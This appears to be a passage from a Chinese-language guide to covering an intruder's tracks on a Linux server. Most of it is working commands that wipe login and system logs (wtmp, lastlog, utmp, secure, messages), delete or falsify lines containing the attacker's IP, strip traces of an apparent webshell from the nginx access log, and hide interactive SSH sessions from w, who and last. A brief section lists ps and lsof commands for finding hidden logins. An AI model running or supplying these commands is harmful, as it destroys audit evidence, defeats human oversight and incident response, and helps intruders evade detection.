清理登录系统失败的记录
|
1 |
echo > /var/log/wtmp |
再次查看上次登录信息
|
1 |
lastb |
部分清除命令
|
1 2 3 4 5 |
清理相关日志信息 清除用户最后一次登录时间：echo > /var/log/lastlog #lastlog命令 清除当前登录用户的信息：echo > /var/log/utmp #使用w,who,users等命令 清除安全日志记录：cat /dev/null > /var/log/secure 清除系统日志记录：cat /dev/null > /var/log/message |
4.删除/替换部分日志
删除所有匹配到字符串的行,比如以当天日期或者自己的登录IP
|
1 |
sed -i '/自己的ip/'d /var/log/messages |
全局替换登录IP地址
|
1 |
sed -i 's/192.168.166.85/192.168.1.1/g' secure |
清除web入侵痕迹
直接替换日志ip地址
|
1 |
sed -i 's/192.168.166.85/192.168.1.1/g' access.log |
#清除部分相关日志
grep -v 排除某些字段，然后再覆盖原来的日志文件
|
1 |
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log |
#再把修改过的日志覆盖到原日志文件
|
1 |
cat tmp.log > /var/log/nginx/access.log/ |
5.隐藏远程SSH登录记录
隐身登录系统，不会被w、who、last等指令检测到。
|
1 |
ssh -T root@192.168.0.1 /bin/bash -i |
-T表示不分配伪终端
如何发现隐藏的的登录
|
1 2 3 |
ps -ef|grep ssh 或者 lsof -i:22 |
不记录ssh公钥在本地.ssh目录中
|
1 |
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i |